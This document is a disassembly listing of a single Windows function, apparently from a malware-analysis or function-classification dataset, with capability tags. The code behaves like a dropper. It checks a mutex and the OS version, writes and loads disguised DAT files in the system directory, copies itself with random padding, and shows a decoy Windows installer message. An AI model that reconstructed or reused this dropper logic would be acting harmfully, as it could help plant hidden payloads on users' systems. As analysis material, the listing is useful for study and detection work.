Function at 0x401464
Capabilities:
Check mutex on windows
Check os version
Link many functions at runtime
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x558
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
lea eax, [ebp - 0x230]
push eax
mov dword [ebp - 0x230], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 2
xor ebx, ebx
pop edi
mov dword [0x4047c8], ebx
cmp dword [ebp - 0x220], edi
jne 0x40192b
cmp dword [ebp - 0x22c], 5
jne 0x4014f1
cmp dword [ebp - 0x228], ebx
jne 0x4014c8
mov dword [0x4047c8], 1
jmp 0x401526
cmp dword [ebp - 0x228], 1
jne 0x4014d9
mov dword [0x4047c8], edi
jmp 0x401526
cmp dword [ebp - 0x228], edi
jne 0x40192b
mov dword [0x4047c8], 3
jmp 0x401526
push 6
pop eax
cmp dword [ebp - 0x22c], eax
jne 0x40192b
cmp dword [ebp - 0x228], ebx
jne 0x401514
mov dword [0x4047c8], 4
jmp 0x401526
cmp dword [ebp - 0x228], 1
jne 0x40192b
mov dword [0x4047c8], eax
push esi
push 0x11d
lea eax, [ebp - 0x454]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov esi, 0x104
lea eax, [ebp - 0x454]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
mov esi, 0x4043b8
push ebx
push esi
call sub.MSVCRT.dll_memset
push str.Run_Time_Error_M6104__overflow.
push esi
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x454]
push 0x404020
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0x1c
cmp esi, ebx
je 0x4015da
push edi
push ebx
push esi
mov dword [ebp - 4], ebx
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
call dword [sym.imp.MSVCRT.dll_ftell]
mov dword [ebp - 4], eax
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
mov eax, dword [ebp - 4]
inc eax
push eax
push ebx
push edi
call sub.MSVCRT.dll_memset
lea eax, [ebp - 4]
push eax
push edi
push esi
call fcn.00401973
add esp, 0x2c
test eax, eax
je 0x4015cb
push dword [ebp - 4]
push edi
call fcn.00401bdc
pop ecx
pop ecx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
call fcn.00401099
test eax, eax
je 0x401922
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, str.Kernel32.dll
push str.FindResourceW
push esi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SizeofResource
push esi
mov dword [0x4047d0], eax
call ebx
push eax
call edi
push str.LoadResource
push esi
mov dword [0x4047d4], eax
call ebx
push eax
call edi
push str.LockResource
push esi
mov dword [0x4047d8], eax
call ebx
push eax
call edi
push str.setup_fat32sys
push 1
push 0
mov dword [0x4047dc], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x401666
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401666
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401920
call fcn.0040112d
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push 0x4045c0
lea eax, [ebp - 0x11c]
push str._sMSAPI.DAT
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x334]
push 0x4046c4
push str._s_systemMSAPI.DAT
push eax
call esi
push 1
push 0x4041ac
lea eax, [ebp - 0x11c]
push 0x8f
push eax
call fcn.00401166
add esp, 0x1c
lea eax, [ebp - 0x11c]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x401718
push str.DealB
push eax
call edi
test eax, eax
mov dword [0x4047e8], eax
je 0x401708
lea ecx, [ebp - 0x334]
push 1
push ecx
lea ecx, [ebp - 0x11c]
push ecx
call eax
add esp, 0xc
test eax, eax
jne 0x401708
lea eax, [ebp - 0x334]
push 5
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [0x4047e8]
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
and dword [0x4047e8], 0
push str.MSAPI.DAT
call ebx
test eax, eax
mov dword [ebp - 4], eax
mov ebx, 0x4044bc
je 0x40179f
push str.DealA
push eax
call edi
push str.DealB
mov dword [0x4047e4], eax
push dword [ebp - 4]
call edi
mov dword [0x4047e8], eax
mov edi, str._sMSSYSTEM.DAT
push 0x4045c0
lea eax, [ebp - 0x11c]
push edi
push eax
call esi
push 0
push 0x404178
lea eax, [ebp - 0x11c]
push 0x90
push eax
call fcn.00401166
add esp, 0x1c
lea eax, [ebp - 0x334]
push ebx
push edi
push eax
call esi
mov eax, dword [0x4047e4]
add esp, 0xc
test eax, eax
je 0x40179f
lea ecx, [ebp - 0x334]
push ecx
lea ecx, [ebp - 0x11c]
push ecx
call eax
pop ecx
pop ecx
mov edi, str._sWINDNSAPI.DAT
push ebx
lea eax, [ebp - 0x11c]
push edi
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x334]
push 0x4045c0
push edi
push eax
call esi
push 1
push 0x4041ac
lea eax, [ebp - 0x334]
push 0x96
push eax
call fcn.00401166
mov eax, dword [0x4047e8]
add esp, 0x1c
test eax, eax
je 0x40183c
lea ecx, [ebp - 0x11c]
push 1
push ecx
lea ecx, [ebp - 0x334]
push ecx
call eax
add esp, 0xc
test eax, eax
jne 0x40183c
push ebx
lea eax, [ebp - 0x558]
push str._sWINDNSAPI
push eax
call esi
lea eax, [ebp - 0x558]
push 1
push eax
lea eax, [ebp - 0x334]
push eax
call dword [0x4047e8]
lea eax, [ebp - 0x11c]
push 5
push eax
lea eax, [ebp - 0x558]
push eax
call dword [0x4047e8]
add esp, 0x24
push ebx
lea eax, [ebp - 0x11c]
push str._sMSSETUP.DAT
push eax
call esi
lea eax, [ebp - 0x454]
push 0x404020
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 0x14
test ebx, ebx
je 0x401920
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0
push ebx
call edi
push ebx
call dword [sym.imp.MSVCRT.dll_ftell]
push 0
push 0
push ebx
mov dword [ebp - 8], eax
call edi
lea eax, [ebp - 0x11c]
push 0x404018
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x24
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401918
push dword [ebp - 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push ebx
mov dword [ebp - 4], eax
push dword [ebp - 8]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fread]
push dword [ebp - 0xc]
mov edi, dword [sym.imp.MSVCRT.dll_fwrite]
push dword [ebp - 8]
push 1
push dword [ebp - 4]
call edi
add esp, 0x24
call dword [sym.imp.MSVCRT.dll_rand]
push eax
lea eax, [ebp - 0x18]
push 0x40401c
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x18]
push dword [ebp - 0xc]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x18]
push 1
push eax
call edi
push dword [ebp - 0xc]
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
cmp dword [ebp - 4], 0
je 0x401918
push dword [ebp - 4]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
xor ebx, ebx
cmp dword [0x4047c8], ebx
pop esi
jne 0x401948
cmp dword [0x404010], ebx
je 0x40194d
push 0x10
push str.Microsoft_Windows_Install
push 0x404128
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40194d
call fcn.004010e3
cmp dword [0x4047cc], 1
jne 0x40195d
call fcn.00401dc6
jmp 0x40196a
cmp dword [0x404014], ebx
je 0x40196a
call fcn.004012af
push 1
pop eax
pop edi
pop ebx
leave
ret 0x10